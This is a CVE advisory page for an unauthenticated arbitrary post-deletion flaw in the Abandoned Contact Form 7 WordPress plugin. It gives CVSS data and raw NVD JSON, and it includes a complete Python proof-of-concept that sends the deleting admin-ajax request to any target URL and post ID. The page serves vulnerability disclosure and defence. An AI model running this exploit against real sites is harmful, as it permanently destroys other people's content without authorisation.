Security Vulnerability Report
中文
CVE-2026-9187 CVSS 5.3 MEDIUM

CVE-2026-9187

Published: 2026-06-16 06:16:59
Last Modified: 2026-06-16 15:22:50

Description

The Abandoned Contact Form 7 plugin for WordPress is vulnerable to unauthorized arbitrary post deletion in versions up to, and including, 2.2. This is due to a missing capability check and missing nonce validation in the action__remove_abandoned() function, which is registered to both the wp_ajax_remove_abandoned and wp_ajax_nopriv_remove_abandoned hooks. The handler takes a user-supplied recover_id parameter from $_POST and passes it directly to wp_delete_post() with the force-delete flag set to true, without verifying that the ID belongs to the plugin's own cf7af_data post type. This makes it possible for unauthenticated attackers to permanently delete arbitrary posts, pages, or other content on the affected site by sending a single admin-ajax.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Abandoned Contact Form 7插件 ≤ 2.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-9187 PoC - WordPress Abandoned Contact Form 7 Unauthenticated Arbitrary Post Deletion Reference: https://www.wordfence.com/threat-intel/vulnerabilities/id/a38ebdeb-6ab8-4f1d-9c13-39211a9e97b6 """ import requests import sys def exploit_cve_2026_9187(target_url, post_id_to_delete): """ Exploit the unauthenticated arbitrary post deletion vulnerability. Args: target_url: Base URL of the WordPress site (e.g., 'https://example.com') post_id_to_delete: The ID of the post/page to delete Returns: bool: True if exploitation appears successful, False otherwise """ # WordPress AJAX endpoint ajax_url = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php" # Payload with arbitrary post ID data = { 'action': 'remove_abandoned', 'recover_id': str(post_id_to_delete) } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } try: print(f"[*] Target: {target_url}") print(f"[*] Attempting to delete post ID: {post_id_to_delete}") print(f"[*] Sending request to: {ajax_url}") response = requests.post(ajax_url, data=data, headers=headers, timeout=30) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Body: {response.text[:500]}") # Check if deletion was successful (response may vary) if response.status_code == 200: print("[+] Exploitation attempt completed") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False return False if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python3 cve-2026-9187-poc.py <target_url> <post_id>") print("Example: python3 cve-2026-9187-poc.py https://victim.com 1") sys.exit(1) target = sys.argv[1] post_id = int(sys.argv[2]) exploit_cve_2026_9187(target, post_id)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9187", "sourceIdentifier": "[email protected]", "published": "2026-06-16T06:16:58.817", "lastModified": "2026-06-16T15:22:49.577", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Abandoned Contact Form 7 plugin for WordPress is vulnerable to unauthorized arbitrary post deletion in versions up to, and including, 2.2. This is due to a missing capability check and missing nonce validation in the action__remove_abandoned() function, which is registered to both the wp_ajax_remove_abandoned and wp_ajax_nopriv_remove_abandoned hooks. The handler takes a user-supplied recover_id parameter from $_POST and passes it directly to wp_delete_post() with the force-delete flag set to true, without verifying that the ID belongs to the plugin's own cf7af_data post type. This makes it possible for unauthenticated attackers to permanently delete arbitrary posts, pages, or other content on the affected site by sending a single admin-ajax."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/abandoned-contact-form-7/tags/2.2/inc/class.cf7af.php#L49", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/abandoned-contact-form-7/tags/2.2/inc/class.cf7af.php#L65", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/abandoned-contact-form-7/tags/2.2/inc/class.cf7af.php#L68", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a38ebdeb-6ab8-4f1d-9c13-39211a9e97b6?source=cve", "source": "[email protected]"}]}}